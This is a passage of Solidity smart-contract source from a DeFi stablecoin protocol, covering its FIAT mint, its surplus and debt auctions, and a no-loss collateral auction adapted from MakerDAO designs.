uint256 debt = wmul(due, mvault.liquidationPenalty);
globalDebtOnAuction = add(globalDebtOnAuction, debt);
vaults[vault].debtOnAuction = add(mvault.debtOnAuction, debt);
auctionId = ICollateralAuction(mvault.collateralAuction).startAuction({
debt: debt,
collateralToSell: deltaCollateral,
vault: vault,
tokenId: tokenId,
user: position,
keeper: keeper
});
}
emit Liquidate(
vault,
tokenId,
position,
deltaCollateral,
deltaNormalDebt,
due,
mvault.collateralAuction,
auctionId
);
}
/// @notice Marks the liquidated Position's debt as sold
/// @dev Sender has to be allowed to call this method
/// @param vault Address of the liquidated Position's Vault
/// @param tokenId ERC1155 or ERC721 style TokenId (leave at 0 for ERC20) of the liquidated Position
/// @param debt Amount of debt sold
function liquidated(
address vault,
uint256 tokenId,
uint256 debt
) external override checkCaller {
globalDebtOnAuction = sub(globalDebtOnAuction, debt);
vaults[vault].debtOnAuction = sub(vaults[vault].debtOnAuction, debt);
emit Liquidated(vault, tokenId, debt);
}
/// ======== Shutdown ======== ///
/// @notice Locks the contract
/// @dev Sender has to be allowed to call this method
function lock() external override checkCaller {
live = 0;
emit Lock();
}
}// Copyright (C) 2018 Rain <[email protected]>
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/draft-IERC20Permit.sol)
/**
* @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
* https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
*
* Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
* presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't
* need to send a transaction, and thus is not required to hold Ether at all.
*/
interface IERC20Permit {
/**
* @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens,
* given ``owner``'s signed approval.
*
* IMPORTANT: The same issues {IERC20-approve} has related to transaction
* ordering also apply here.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `deadline` must be a timestamp in the future.
* - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`
* over the EIP712-formatted function arguments.
* - the signature must use ``owner``'s current nonce (see {nonces}).
*
* For more information on the signature format, see the
* https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP
* section].
*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
/**
* @dev Returns the current nonce for `owner`. This value must be
* included whenever a signature is generated for {permit}.
*
* Every successful call to {permit} increases ``owner``'s nonce by one. This
* prevents a signature from being used multiple times.
*/
function nonces(address owner) external view returns (uint256);
/**
* @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}.
*/
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view returns (bytes32);
}
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
interface IFIATExcl {
function mint(address to, uint256 amount) external;
function burn(address from, uint256 amount) external;
}
interface IFIAT is IFIATExcl, IERC20, IERC20Permit, IERC20Metadata {}interface IMoneta {
function codex() external view returns (ICodex);
function fiat() external view returns (IFIAT);
function live() external view returns (uint256);
function lock() external;
function enter(address user, uint256 amount) external;
function exit(address user, uint256 amount) external;
}
/// @title Moneta (FIAT Mint)
/// @notice The canonical mint for FIAT (Fixed Income Asset Token),
/// where users can redeem their internal credit for FIAT
contract Moneta is Guarded, IMoneta {
/// ======== Custom Errors ======== ///
error Moneta__exit_notLive();
/// ======== Storage ======== ///
/// @notice Codex
ICodex public immutable override codex;
/// @notice FIAT (Fixed Income Asset Token)
IFIAT public immutable override fiat;
/// @notice Boolean indicating if this contract is live (0 - not live, 1 - live)
uint256 public override live;
/// ======== Events ======== ///
event Enter(address indexed user, uint256 amount);
event Exit(address indexed user, uint256 amount);
event Lock();
constructor(address codex_, address fiat_) Guarded() {
live = 1;
codex = ICodex(codex_);
fiat = IFIAT(fiat_);
}
/// ======== Redemption ======== ///
/// @notice Redeems FIAT for internal credit
/// @dev User has to set allowance for Moneta to burn FIAT
/// @param user Address of the user
/// @param amount Amount of FIAT to be redeemed for internal credit
function enter(address user, uint256 amount) external override {
codex.transferCredit(address(this), user, amount);
fiat.burn(msg.sender, amount);
emit Enter(user, amount);
}
/// @notice Redeems internal credit for FIAT
/// @dev User has to grant the delegate of transferring credit to Moneta
/// @param user Address of the user
/// @param amount Amount of credit to be redeemed for FIAT
function exit(address user, uint256 amount) external override {
if (live == 0) revert Moneta__exit_notLive();
codex.transferCredit(msg.sender, address(this), amount);
fiat.mint(user, amount);
emit Exit(user, amount);
}
/// ======== Shutdown ======== ///
/// @notice Locks the contract
/// @dev Sender has to be allowed to call this method
function lock() external override checkCaller {
live = 0;
emit Lock();
}
}// Copyright (C) 2018 Rain <[email protected]>
/// @title SurplusAuction
/// @notice
/// Uses Flap.sol from DSS (MakerDAO) as a blueprint
/// Changes from Flap.sol:
/// - only WAD precision is used (no RAD and RAY)
/// - uses a method signature based authentication scheme
/// - supports ERC1155, ERC721 style assets by TokenId
contract SurplusAuction is Guarded, ISurplusAuction {
/// ======== Custom Errors ======== ///
error SurplusAuction__setParam_unrecognizedParam();
error SurplusAuction__startAuction_notLive();
error SurplusAuction__startAuction_overflow();
error SurplusAuction__redoAuction_notFinished();
error SurplusAuction__redoAuction_bidAlreadyPlaced();
error SurplusAuction__submitBid_notLive();
error SurplusAuction__submit_recipientNotSet();
error SurplusAuction__submitBid_alreadyFinishedBidExpiry();
error SurplusAuction__submitBid_alreadyFinishedAuctionExpiry();
error SurplusAuction__submitBid_creditToSellNotMatching();
error SurplusAuction__submitBid_bidNotHigher();
error SurplusAuction__submitBid_insufficientIncrease();
error SurplusAuction__closeAuction_notLive();
error SurplusAuction__closeAuction_notFinished();
error SurplusAuction__cancelAuction_stillLive();
error SurplusAuction__cancelAuction_recipientNotSet();
/// ======== Storage ======== ///
// Auction State
struct Auction {
// tokens paid for credit [wad]
uint256 bid;
// amount of credit to sell for tokens (bid) [wad]
uint256 creditToSell;
// current highest bidder
address recipient;
// bid expiry time [unix epoch time]
uint48 bidExpiry;
// auction expiry time [unix epoch time]
uint48 auctionExpiry;
}
/// @notice State of auctions
// AuctionId => Auction
mapping(uint256 => Auction) public override auctions;
/// @notice Codex
ICodex public immutable override codex;
/// @notice Tokens to receive for credit
IERC20 public immutable override token;
/// @notice 5% minimum bid increase
uint256 public override minBidBump = 1.05e18;
/// @notice 3 hours bid duration [seconds]
uint48 public override bidDuration = 3 hours;
/// @notice 2 days total auction length [seconds]
uint48 public override auctionDuration = 2 days;
/// @notice Auction Counter
uint256 public override auctionCounter = 0;
/// @notice Boolean indicating if this contract is live (0 - not live, 1 - live)
uint256 public override live;
/// ======== Events ======== ///
event StartAuction(uint256 id, uint256 creditToSell, uint256 bid);
constructor(address codex_, address token_) Guarded() {
codex = ICodex(codex_);
token = IERC20(token_);
live = 1;
}
/// @notice Sets various variables for this contract
/// @dev Sender has to be allowed to call this method
/// @param param Name of the variable to set
/// @param data New value to set for the variable [wad]
function setParam(bytes32 param, uint256 data) external override checkCaller {
if (param == "minBidBump") minBidBump = data;
else if (param == "bidDuration") bidDuration = uint48(data);
else if (param == "auctionDuration") auctionDuration = uint48(data);
else revert SurplusAuction__setParam_unrecognizedParam();
}
/// ======== Surplus Auction ======== ///
/// @notice Start a new surplus auction
/// @dev Sender has to be allowed to call this method
/// @param creditToSell Amount of credit to sell for tokens [wad]
/// @param bid Starting bid (in tokens) of the auction [wad]
/// @return auctionId Id of the started surplus auction
function startAuction(uint256 creditToSell, uint256 bid) external override checkCaller returns (uint256 auctionId) {
if (live == 0) revert SurplusAuction__startAuction_notLive();
if (auctionCounter >= ~uint256(0)) revert SurplusAuction__startAuction_overflow();
unchecked {
auctionId = ++auctionCounter;
}
auctions[auctionId].bid = bid;
auctions[auctionId].creditToSell = creditToSell;
auctions[auctionId].recipient = msg.sender; // configurable??
auctions[auctionId].auctionExpiry = add48(uint48(block.timestamp), auctionDuration);
codex.transferCredit(msg.sender, address(this), creditToSell);
emit StartAuction(auctionId, creditToSell, bid);
}
/// @notice Resets an existing surplus auction
/// @dev Auction expiry has to be exceeded and no bids have to be made
/// @param auctionId Id of the auction to reset
function redoAuction(uint256 auctionId) external override {
if (auctions[auctionId].auctionExpiry >= block.timestamp) revert SurplusAuction__redoAuction_notFinished();
if (auctions[auctionId].bidExpiry != 0) revert SurplusAuction__redoAuction_bidAlreadyPlaced();
auctions[auctionId].auctionExpiry = add48(uint48(block.timestamp), auctionDuration);
}
/// @notice Bid for the fixed credit amount (`creditToSell`) with a higher amount of tokens (`bid`)
/// @param auctionId Id of the debt auction
/// @param creditToSell Amount of credit to receive (has to match)
/// @param bid Amount of tokens to pay for credit (has to be higher than prev. bid)
function submitBid(
uint256 auctionId,
uint256 creditToSell,
uint256 bid
) external override {
if (live == 0) revert SurplusAuction__submitBid_notLive();
if (auctions[auctionId].recipient == address(0)) revert SurplusAuction__submit_recipientNotSet();
if (auctions[auctionId].bidExpiry <= block.timestamp && auctions[auctionId].bidExpiry != 0)
revert SurplusAuction__submitBid_alreadyFinishedBidExpiry();
if (auctions[auctionId].auctionExpiry <= block.timestamp)
revert SurplusAuction__submitBid_alreadyFinishedAuctionExpiry();
if (creditToSell != auctions[auctionId].creditToSell)
revert SurplusAuction__submitBid_creditToSellNotMatching();
if (bid <= auctions[auctionId].bid) revert SurplusAuction__submitBid_bidNotHigher();
if (mul(bid, WAD) < mul(minBidBump, auctions[auctionId].bid))
revert SurplusAuction__submitBid_insufficientIncrease();
if (msg.sender != auctions[auctionId].recipient) {
token.transferFrom(msg.sender, auctions[auctionId].recipient, auctions[auctionId].bid);
auctions[auctionId].recipient = msg.sender;
}
token.transferFrom(msg.sender, address(this), sub(bid, auctions[auctionId].bid));
auctions[auctionId].bid = bid;
auctions[auctionId].bidExpiry = add48(uint48(block.timestamp), bidDuration);
}
/// @notice Closes a finished auction and mints new tokens to the winning bidders
/// @param auctionId Id of the debt auction to close
function closeAuction(uint256 auctionId) external override {
if (live == 0) revert SurplusAuction__closeAuction_notLive();
if (
!(auctions[auctionId].bidExpiry != 0 &&
(auctions[auctionId].bidExpiry < block.timestamp ||
auctions[auctionId].auctionExpiry < block.timestamp))
) revert SurplusAuction__closeAuction_notFinished();
codex.transferCredit(address(this), auctions[auctionId].recipient, auctions[auctionId].creditToSell);
token.transfer(address(0), auctions[auctionId].bid);
delete auctions[auctionId];
}
/// ======== Shutdown ======== ///
/// @notice Locks the contract and transfer the credit in this contract to the caller
/// @dev Sender has to be allowed to call this method
function lock(uint256 credit) external override checkCaller {
live = 0;
codex.transferCredit(address(this), msg.sender, credit);
}
/// @notice Cancels an existing auction by returning the tokens bid to its bidder
/// @dev Can only be called when the contract is locked
/// @param auctionId Id of the surplus auction to cancel
function cancelAuction(uint256 auctionId) external override {
if (live == 1) revert SurplusAuction__cancelAuction_stillLive();
if (auctions[auctionId].recipient == address(0)) revert SurplusAuction__cancelAuction_recipientNotSet();
token.transferFrom(address(this), auctions[auctionId].recipient, auctions[auctionId].bid);
delete auctions[auctionId];
}
}// Copyright (C) 2018 Rain <[email protected]>
/// @title DebtAuction
/// @notice
/// Uses Flop.sol from DSS (MakerDAO) as a blueprint
/// Changes from Flop.sol:
/// - only WAD precision is used (no RAD and RAY)
/// - uses a method signature based authentication scheme
/// - supports ERC1155, ERC721 style assets by TokenId
contract DebtAuction is Guarded, IDebtAuction {
/// ======== Custom Errors ======== ///
error DebtAuction__setParam_unrecognizedParam();
error DebtAuction__startAuction_notLive();
error DebtAuction__startAuction_overflow();
error DebtAuction__redoAuction_notFinished();
error DebtAuction__redoAuction_bidAlreadyPlaced();
error DebtAuction__submitBid_notLive();
error DebtAuction__submitBid_recipientNotSet();
error DebtAuction__submitBid_expired();
error DebtAuction__submitBid_alreadyFinishedAuctionExpiry();
error DebtAuction__submitBid_notMatchingBid();
error DebtAuction__submitBid_tokensToSellNotLower();
error DebtAuction__submitBid_insufficientDecrease();
error DebtAuction__closeAuction_notLive();
error DebtAuction__closeAuction_notFinished();
error DebtAuction__cancelAuction_stillLive();
error DebtAuction__cancelAuction_recipientNotSet();
/// ======== Storage ======== ///
// Auction State
struct Auction {
// credit paid [wad]
uint256 bid;
// tokens in return for bid [wad]
uint256 tokensToSell;
// high bidder
address recipient;
// bid expiry time [unix epoch time]
uint48 bidExpiry;
// auction expiry time [unix epoch time]
uint48 auctionExpiry;
}
/// @notice State of auctions
// AuctionId => Auction
mapping(uint256 => Auction) public override auctions;
/// @notice Codex
ICodex public immutable override codex;
/// @notice Token to sell for debt
IERC20 public immutable override token;
/// @notice 5% minimum bid increase
uint256 public override minBidBump = 1.05e18;
/// @notice 50% tokensToSell increase for redoAuction
uint256 public override tokenToSellBump = 1.50e18;
/// @notice 3 hours bid lifetime [seconds]
uint48 public override bidDuration = 3 hours;
/// @notice 2 days total auction length [seconds]
uint48 public override auctionDuration = 2 days;
/// @notice Auction Counter
uint256 public override auctionCounter = 0;
/// @notice Boolean indicating if this contract is live (0 - not live, 1 - live)
uint256 public override live;
/// @notice Aer, not used until shutdown
address public override aer;
/// ======== Events ======== ///
event StartAuction(uint256 id, uint256 tokensToSell, uint256 bid, address indexed recipient);
constructor(address codex_, address token_) Guarded() {
codex = ICodex(codex_);
token = IERC20(token_);
live = 1;
}
/// ======== Configuration ======== ///
/// @notice Sets various variables for this contract
/// @dev Sender has to be allowed to call this method
/// @param param Name of the variable to set
/// @param data New value to set for the variable [wad]
function setParam(bytes32 param, uint256 data) external override checkCaller {
if (param == "minBidBump") minBidBump = data;
else if (param == "tokenToSellBump") tokenToSellBump = data;
else if (param == "bidDuration") bidDuration = uint48(data);
else if (param == "auctionDuration") auctionDuration = uint48(data);
else revert DebtAuction__setParam_unrecognizedParam();
}
/// ======== Debt Auction ======== ///
/// @notice Start a new debt auction
/// @dev Sender has to be allowed to call this method
/// @param recipient Initial recipient of the credit
/// @param tokensToSell Amount of tokens to sell for credit [wad]
/// @param bid Starting bid (in credit) of the auction [wad]
/// @return auctionId Id of the started debt auction
function startAuction(
address recipient,
uint256 tokensToSell,
uint256 bid
) external override checkCaller returns (uint256 auctionId) {
if (live == 0) revert DebtAuction__startAuction_notLive();
if (auctionCounter >= type(uint256).max) revert DebtAuction__startAuction_overflow();
unchecked {
auctionId = ++auctionCounter;
}
auctions[auctionId].bid = bid;
auctions[auctionId].tokensToSell = tokensToSell;
auctions[auctionId].recipient = recipient;
auctions[auctionId].auctionExpiry = add48(uint48(block.timestamp), uint48(auctionDuration));
emit StartAuction(auctionId, tokensToSell, bid, recipient);
}
/// @notice Resets an existing debt auction
/// @dev Auction expiry has to be exceeded and no bids have to be made
/// @param auctionId Id of the auction to reset
function redoAuction(uint256 auctionId) external override {
if (auctions[auctionId].auctionExpiry >= block.timestamp) revert DebtAuction__redoAuction_notFinished();
if (auctions[auctionId].bidExpiry != 0) revert DebtAuction__redoAuction_bidAlreadyPlaced();
auctions[auctionId].tokensToSell = mul(tokenToSellBump, auctions[auctionId].tokensToSell) / WAD;
auctions[auctionId].auctionExpiry = add48(uint48(block.timestamp), auctionDuration);
}
/// @notice Bid for the fixed credit amount (`bid`) by accepting a lower amount of `tokensToSell`
/// @param auctionId Id of the debt auction
/// @param tokensToSell Amount of tokens to receive (has to be lower than prev. bid)
/// @param bid Amount of credit to pay for tokens (has to match)
function submitBid(
uint256 auctionId,
uint256 tokensToSell,
uint256 bid
) external override {
if (live == 0) revert DebtAuction__submitBid_notLive();
if (auctions[auctionId].recipient == address(0)) revert DebtAuction__submitBid_recipientNotSet();
if (auctions[auctionId].bidExpiry <= block.timestamp && auctions[auctionId].bidExpiry != 0)
revert DebtAuction__submitBid_expired();
if (auctions[auctionId].auctionExpiry <= block.timestamp)
revert DebtAuction__submitBid_alreadyFinishedAuctionExpiry();
if (bid != auctions[auctionId].bid) revert DebtAuction__submitBid_notMatchingBid();
if (tokensToSell >= auctions[auctionId].tokensToSell) revert DebtAuction__submitBid_tokensToSellNotLower();
if (mul(minBidBump, tokensToSell) > mul(auctions[auctionId].tokensToSell, WAD))
revert DebtAuction__submitBid_insufficientDecrease();
if (msg.sender != auctions[auctionId].recipient) {
codex.transferCredit(msg.sender, auctions[auctionId].recipient, bid);
// on first submitBid, clear as much debtOnAuction as possible
if (auctions[auctionId].bidExpiry == 0) {
uint256 debtOnAuction = IAer(auctions[auctionId].recipient).debtOnAuction();
IAer(auctions[auctionId].recipient).settleAuctionedDebt(min(bid, debtOnAuction));
}
auctions[auctionId].recipient = msg.sender;
}
auctions[auctionId].tokensToSell = tokensToSell;
auctions[auctionId].bidExpiry = add48(uint48(block.timestamp), bidDuration);
}
/// @notice Closes a finished auction and transfers tokens to the winning bidders
/// @param auctionId Id of the debt auction to close
function closeAuction(uint256 auctionId) external override {
if (live == 0) revert DebtAuction__closeAuction_notLive();
if (
!(auctions[auctionId].bidExpiry != 0 &&
(auctions[auctionId].bidExpiry < block.timestamp ||
auctions[auctionId].auctionExpiry < block.timestamp))
) revert DebtAuction__closeAuction_notFinished();
token.transfer(auctions[auctionId].recipient, auctions[auctionId].tokensToSell);
delete auctions[auctionId];
}
/// ======== Shutdown ======== ///
/// @notice Locks the contract and sets the address of Aer
/// @dev Sender has to be allowed to call this method
function lock() external override checkCaller {
live = 0;
aer = msg.sender;
}
/// @notice Cancels an existing auction by minting new credit directly to the auctions recipient
/// @dev Can only be called when the contract is locked
/// @param auctionId Id of the debt auction to cancel
function cancelAuction(uint256 auctionId) external override {
if (live == 1) revert DebtAuction__cancelAuction_stillLive();
if (auctions[auctionId].recipient == address(0)) revert DebtAuction__cancelAuction_recipientNotSet();
codex.createUnbackedDebt(aer, auctions[auctionId].recipient, auctions[auctionId].bid);
delete auctions[auctionId];
}
}// Copyright (C) 2020-2021 Maker Ecosystem Growth Holdings, INC.
interface INoLossCollateralAuction {
function vaults(address)
external
view
returns (
uint256,
uint256,
uint256,
ICollybus,
IPriceCalculator
);
function codex() external view returns (ICodex);
function limes() external view returns (ILimes);
function aer() external view returns (IAer);
function feeTip() external view returns (uint64);
function flatTip() external view returns (uint192);
function auctionCounter() external view returns (uint256);
function activeAuctions(uint256) external view returns (uint256);
function auctions(uint256)
external
view
returns (
uint256,
uint256,
uint256,
address,
uint256,
address,
uint96,
uint256
);
function stopped() external view returns (uint256);
function init(address vault, address collybus) external;
function setParam(bytes32 param, uint256 data) external;
function setParam(bytes32 param, address data) external;
function setParam(
address vault,
bytes32 param,
uint256 data
) external;
function setParam(
address vault,
bytes32 param,
address data
) external;
function startAuction(
uint256 debt,
uint256 collateralToSell,
address vault,
uint256 tokenId,
address user,
address keeper
) external returns (uint256 auctionId);
function redoAuction(uint256 auctionId, address keeper) external;
function takeCollateral(
uint256 auctionId,
uint256 collateralAmount,
uint256 maxPrice,
address recipient,
bytes calldata data
) external;
function count() external view returns (uint256);
function list() external view returns (uint256[] memory);
function getStatus(uint256 auctionId)
external
view
returns (
bool needsRedo,
uint256 price,
uint256 collateralToSell,
uint256 debt
);
function updateAuctionDebtFloor(address vault) external;
function cancelAuction(uint256 auctionId) external;
}
/// @title NoLossCollateralAuction
/// @notice Same as CollateralAuction but enforces a floor price of debt / collateral
/// Uses Clip.sol from DSS (MakerDAO) as a blueprint
/// Changes from Clip.sol:
/// - only WAD precision is used (no RAD and RAY)
/// - uses a method signature based authentication scheme
/// - supports ERC1155, ERC721 style assets by TokenId
contract NoLossCollateralAuction is Guarded, INoLossCollateralAuction {
/// ======== Custom Errors ======== ///
error NoLossCollateralAuction__init_vaultAlreadyInit();
error NoLossCollateralAuction__checkReentrancy_reentered();
error NoLossCollateralAuction__isStopped_stoppedIncorrect();
error NoLossCollateralAuction__setParam_unrecognizedParam();
error NoLossCollateralAuction__startAuction_zeroDebt();
error NoLossCollateralAuction__startAuction_zeroCollateralToSell();
error NoLossCollateralAuction__startAuction_zeroUser();
error NoLossCollateralAuction__startAuction_overflow();
error NoLossCollateralAuction__startAuction_zeroStartPrice();
error NoLossCollateralAuction__redoAuction_notRunningAuction();
error NoLossCollateralAuction__redoAuction_cannotReset();
error NoLossCollateralAuction__redoAuction_zeroStartPrice();
error NoLossCollateralAuction__takeCollateral_notRunningAuction();
error NoLossCollateralAuction__takeCollateral_needsReset();
error NoLossCollateralAuction__takeCollateral_tooExpensive();
error NoLossCollateralAuction__takeCollateral_noPartialPurchase();
error NoLossCollateralAuction__cancelAuction_notRunningAction();
/// ======== Storage ======== ///
// Vault specific configuration data
struct VaultConfig {
// Multiplicative factor to increase start price [wad]
uint256 multiplier;
// Time elapsed before auction reset [seconds]
uint256 maxAuctionDuration;
// Cache (v.debtFloor * v.liquidationPenalty) to prevent excessive SLOADs [wad]
uint256 auctionDebtFloor;
// Collateral price module
ICollybus collybus;
// Current price calculator
IPriceCalculator calculator;
}
/// @notice Vault Configs
/// @dev Vault => Vault Config
mapping(address => VaultConfig) public override vaults;
/// @notice Codex
ICodex public immutable override codex;
/// @notice Limes
ILimes public override limes;
/// @notice Aer (Recipient of credit raised in auctions)
IAer public override aer;
/// @notice Percentage of debt to mint from aer to incentivize keepers [wad]
uint64 public override feeTip;
/// @notice Flat fee to mint from aer to incentivize keepers [wad]
uint192 public override flatTip;
/// @notice Total auctions (includes past auctions)
uint256 public override auctionCounter;
/// @notice Array of active auction ids
uint256[] public override activeAuctions;
// Auction State
struct Auction {
// Index in activeAuctions array
uint256 index;
// Debt to sell == Credit to raise [wad]
uint256 debt;
// collateral to sell [wad]
uint256 collateralToSell;
// Vault of the liquidated Positions collateral
address vault;
// TokenId of the liquidated Positions collateral
uint256 tokenId;
// Owner of the liquidated Position
address user;
// Auction start time
uint96 startsAt;
// Starting price [wad]
uint256 startPrice;
}
/// @notice State of auctions
/// @dev AuctionId => Auction
mapping(uint256 => Auction) public override auctions;
// reentrancy guard
uint256 private entered;
/// @notice Circuit breaker level
/// Levels for circuit breaker
/// 0: no breaker
/// 1: no new startAuction()
/// 2: no new startAuction() or redoAuction()
/// 3: no new startAuction(), redoAuction(), or takeCollateral()
uint256 public override stopped = 0;
/// ======== Events ======== ///
event Init(address vault);
event SetParam(bytes32 indexed param, uint256 data);
event SetParam(bytes32 indexed param, address data);
event StartAuction(
uint256 indexed auctionId,
uint256 startPrice,
uint256 debt,
uint256 collateralToSell,
address vault,
uint256 tokenId,
address user,
address indexed keeper,
uint256 tip
);
event TakeCollateral(
uint256 indexed auctionId,
uint256 maxPrice,
uint256 price,
uint256 owe,
uint256 debt,
uint256 collateralToSell,
address vault,
uint256 tokenId,
address indexed user
);
event RedoAuction(
uint256 indexed auctionId,
uint256 startPrice,
uint256 debt,
uint256 collateralToSell,
address vault,
uint256 tokenId,
address user,
address indexed keeper,
uint256 tip
);
event StopAuction(uint256 auctionId);
event UpdateAuctionDebtFloor(address indexed vault, uint256 auctionDebtFloor);
constructor(address codex_, address limes_) Guarded() {
codex = ICodex(codex_);
limes = ILimes(limes_);
}
modifier checkReentrancy() {
if (entered == 0) {
entered = 1;
_;
entered = 0;
} else revert NoLossCollateralAuction__checkReentrancy_reentered();
}
modifier isStopped(uint256 level) {
if (stopped < level) {
_;
} else revert NoLossCollateralAuction__isStopped_stoppedIncorrect();
}
/// ======== Configuration ======== ///
/// @notice Initializes a new Vault for which collateral can be auctioned off
/// @dev Sender has to be allowed to call this method
/// @param vault Address of the Vault
/// @param collybus Address of the Collybus the Vault uses for pricing
function init(address vault, address collybus) external override checkCaller {
if (vaults[vault].calculator != IPriceCalculator(address(0)))
revert NoLossCollateralAuction__init_vaultAlreadyInit();
vaults[vault].multiplier = WAD;
vaults[vault].collybus = ICollybus(collybus);
emit Init(vault);
}
/// @notice Sets various variables for this contract
/// @dev Sender has to be allowed to call this method
/// @param param Name of the variable to set
/// @param data New value to set for the variable [wad]
function setParam(bytes32 param, uint256 data) external override checkCaller checkReentrancy {
if (param == "feeTip")
feeTip = uint64(data); // Percentage of debt to incentivize (max: 2^64 - 1 => 18.xxx WAD = 18xx%)
else if (param == "flatTip")
flatTip = uint192(data); // Flat fee to incentivize keepers (max: 2^192 - 1 => 6.277T WAD)
else if (param == "stopped")
stopped = data; // Set breaker (0, 1, 2, or 3)
else revert NoLossCollateralAuction__setParam_unrecognizedParam();
emit SetParam(param, data);
}
/// @notice Sets various variables for this contract
/// @dev Sender has to be allowed to call this method
/// @param param Name of the variable to set
/// @param data New value to set for the variable [address]
function setParam(bytes32 param, address data) external override checkCaller checkReentrancy {
if (param == "limes") limes = ILimes(data);
else if (param == "aer") aer = IAer(data);
else revert NoLossCollateralAuction__setParam_unrecognizedParam();
emit SetParam(param, data);
}
/// @notice Sets various variables for a Vault
/// @dev Sender has to be allowed to call this method
/// @param vault Address of the Vault
/// @param param Name of the variable to set
/// @param data New value to set for the variable [wad]
function setParam(
address vault,
bytes32 param,
uint256 data
) external override checkCaller checkReentrancy {
if (param == "multiplier") vaults[vault].multiplier = data;
else if (param == "maxAuctionDuration")
vaults[vault].maxAuctionDuration = data; // Time elapsed before auction reset
else revert NoLossCollateralAuction__setParam_unrecognizedParam();
emit SetParam(param, data);
}
/// @notice Sets various variables for a Vault
/// @dev Sender has to be allowed to call this method
/// @param vault Address of the Vault
/// @param param Name of the variable to set
/// @param data New value to set for the variable [address]
function setParam(
address vault,
bytes32 param,
address data
) external override checkCaller checkReentrancy {
if (param == "collybus") vaults[vault].collybus = ICollybus(data);
else if (param == "calculator") vaults[vault].calculator = IPriceCalculator(data);
else revert NoLossCollateralAuction__setParam_unrecognizedParam();
emit SetParam(param, data);
}
/// ======== No Loss Collateral Auction ======== ///
// get price at maturity
function _getPrice(address vault, uint256 tokenId) internal view returns (uint256) {
return IVault(vault).fairPrice(tokenId, false, true);
}
/// @notice Starts a collateral auction
/// The start price `startPrice` is obtained as follows:
/// startPrice = val * multiplier / redemptionPrice
/// Where `val` is the collateral's unitary value in USD, `multiplier` is a
/// multiplicative factor to increase the start price, and `redemptionPrice` is a reference per Credit.
/// @dev Sender has to be allowed to call this method
/// - trusts the caller to transfer collateral to the contract
/// - reverts if circuit breaker is set to 1 (no new auctions)
/// @param debt Amount of debt to sell / credit to buy [wad]
/// @param collateralToSell Amount of collateral to sell [wad]
/// @param vault Address of the collaterals Vault
/// @param tokenId ERC1155 or ERC721 style TokenId (leave at 0 for ERC20) of the collateral
/// @param user Address that will receive any leftover collateral
/// @param keeper Address that will receive incentives
/// @return auctionId Identifier of started auction
function startAuction(
uint256 debt,
uint256 collateralToSell,
address vault,
uint256 tokenId,
address user,
address keeper
) external override checkCaller checkReentrancy isStopped(1) returns (uint256 auctionId) {
// Input validation
if (debt == 0) revert NoLossCollateralAuction__startAuction_zeroDebt();
if (collateralToSell == 0) revert NoLossCollateralAuction__startAuction_zeroCollateralToSell();
if (user == address(0)) revert NoLossCollateralAuction__startAuction_zeroUser();
unchecked {
auctionId = ++auctionCounter;
}
if (auctionId == 0) revert NoLossCollateralAuction__startAuction_overflow();
activeAuctions.push(auctionId);
auctions[auctionId].index = activeAuctions.length - 1;
auctions[auctionId].debt = debt;
auctions[auctionId].collateralToSell = collateralToSell;
auctions[auctionId].vault = vault;
auctions[auctionId].tokenId = tokenId;
auctions[auctionId].user = user;
auctions[auctionId].startsAt = uint96(block.timestamp);
uint256 startPrice;
startPrice = wmul(_getPrice(vault, tokenId), vaults[vault].multiplier);
if (startPrice <= 0) revert NoLossCollateralAuction__startAuction_zeroStartPrice();
auctions[auctionId].startPrice = startPrice;
// incentive to startAuction auction
uint256 _tip = flatTip;
uint256 _feeTip = feeTip;
uint256 tip;
if (_tip > 0 || _feeTip > 0) {
tip = add(_tip, wmul(debt, _feeTip));
codex.createUnbackedDebt(address(aer), keeper, tip);
}
emit StartAuction(auctionId, startPrice, debt, collateralToSell, vault, tokenId, user, keeper, tip);
}
/// @notice Resets an existing collateral auction
/// See `startAuction` above for an explanation of the computation of `startPrice`.
/// multiplicative factor to increase the start price, and `redemptionPrice` is a reference per Credit.
/// @dev Reverts if circuit breaker is set to 2 (no new auctions and no redos of auctions)
/// @param auctionId Id of the auction to reset
/// @param keeper Address that will receive incentives
function redoAuction(uint256 auctionId, address keeper) external override checkReentrancy isStopped(2) {
// Read auction data
Auction memory auction = auctions[auctionId];
if (auction.user == address(0)) revert NoLossCollateralAuction__redoAuction_notRunningAuction();
// Check that auction needs reset
// and compute current price [wad]
{
(bool done, ) = status(auction);
if (!done) revert NoLossCollateralAuction__redoAuction_cannotReset();
}
uint256 debt = auctions[auctionId].debt;
uint256 collateralToSell = auctions[auctionId].collateralToSell;
auctions[auctionId].startsAt = uint96(block.timestamp);
uint256 price = _getPrice(auction.vault, auction.tokenId);
uint256 startPrice = wmul(price, vaults[auction.vault].multiplier);
if (startPrice <= 0) revert NoLossCollateralAuction__redoAuction_zeroStartPrice();
auctions[auctionId].startPrice = startPrice;
// incentive to redoAuction auction
uint256 tip;
{
uint256 _tip = flatTip;
uint256 _feeTip = feeTip;
if (_tip > 0 || _feeTip > 0) {
uint256 _auctionDebtFloor = vaults[auction.vault].auctionDebtFloor;
if (debt >= _auctionDebtFloor && wmul(collateralToSell, price) >= _auctionDebtFloor) {
tip = add(_tip, wmul(debt, _feeTip));
codex.createUnbackedDebt(address(aer), keeper, tip);
}
}
}
emit RedoAuction(
auctionId,
startPrice,
debt,
collateralToSell,
auction.vault,
auction.tokenId,
auction.user,
keeper,
tip
);
}
